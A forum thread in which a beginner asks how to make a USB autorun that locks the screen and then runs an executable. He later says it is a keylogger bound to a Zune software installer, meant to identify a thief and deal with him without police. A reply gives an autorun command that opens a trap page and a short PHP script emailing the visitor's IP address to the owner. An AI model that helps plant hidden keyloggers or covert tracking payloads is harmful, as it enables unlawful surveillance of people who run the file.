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[teh noob]

I need to create a program that autoruns as soon as soon you plug in a usb device. I would like a message to appear (one which i control the contents of, of course). It would be beneficial for me to chose appearance of the message (background, text color, etc.) but it is not essential. I would like the user to be unable to click anywhere but the message. I want a single button which says "continue", which is greyed out (unclickable) for about 30 seconds (or some other time of my choosing), thus forcing the user to read the message. It would be nice to have a secret way for me to click off the message, but again that is not completely necessary. Once the "continue" button is clicked I would like an .exe file to be run.

With all that being said... I have no idea how to program. I looked into C++, but I had no idea what I was doing (Even the tutorials were too advanced for me). So now I'm looking into C basic, but is all this even possible from such a basic program? What would be the simplest (easiest to learn) programming software that I could achieve this on? Also if you could point me in the right direction for an easily understood tutorial on the program I would really appreciate it. Sorry if this is a lot to ask, but thanks in advance!

[Alexander]

Visual Basic .NET would be a simple option of a programming language that works with winforms without all the low level stuff that C has, but I must warn you there is a low condition that the autorun executable would be actually run, I'm sure Vista and Win 7 would prevent autorun by default, why do you want to do this though, I do not see any real-world application where this would be useful to lock the user's screen, in my bin I would call it malicious.

[teh noob]

Malicious, yes, but only by the end user's own doing. Basically I got my zune stollen ($250 mp3 device), so from now on I want to install a keylogger on my next zune. Perfectly legal until it's downloaded on someone else's computer, and the only reason it would be on someone else's computer is if it were stolen. Still working out the legality of it though...

[Alexander]

teh noob said:

Still working out the legality of it though...

So what would a keylogger do for you, are you looking for revenge or a way to get it back?

You could always use autorun to run iexplore.exe with something like:

C:\Program Files\Internet Explorer\iexplore.exe http://somefreehost/~you/trap.php

Trap.php containing anything simple such as:

<?php
    $ip = $_SERVER['REMOTE_ADDR'];
    $date = date('m-d-y h:m:s');
    mail('you@you.com', 'STOLEN', "$ip stole zune @ $date");
?>

So when they run it, it will send you their IP automatically, with the notion you may or may not be able to report it to an authority and get it back.

[teh noob]

Thanks for the input, sorry it took so long to respond!

Yep, the idea is to get information on who they are and where thy live if they log onto theyr facebook acount or anthing like that. I would use it strictly to get back items that I have lost or were stolen from me.

Ya, what you are talking about wher it sends me their IP was the first thing i thought about, but with IP only i would have to go to the cops and probably spend just as much on legal fees as the device itself costs. This way I figure I can just handle it myself. No need to get the cops involved, sence it will probably just be dumb kids any way.

That being said, I've realized that theres no way to make a USB autorun all by itself, but is there some other way to easily trigger it? Such as clicking the portable device (in this case zune) from my computer? Realy anything that people commonly do would work, I mean if they're using my zune for years, they gotta stumble upon it eventually.

I've already made an autorun.inf with my keylogger binded to zune software setup in it. But I still don't feal like it's enough...

Well thanks for the input guys, and sorry if I've been a bit unclear (I feal as though i was) :rolleyes: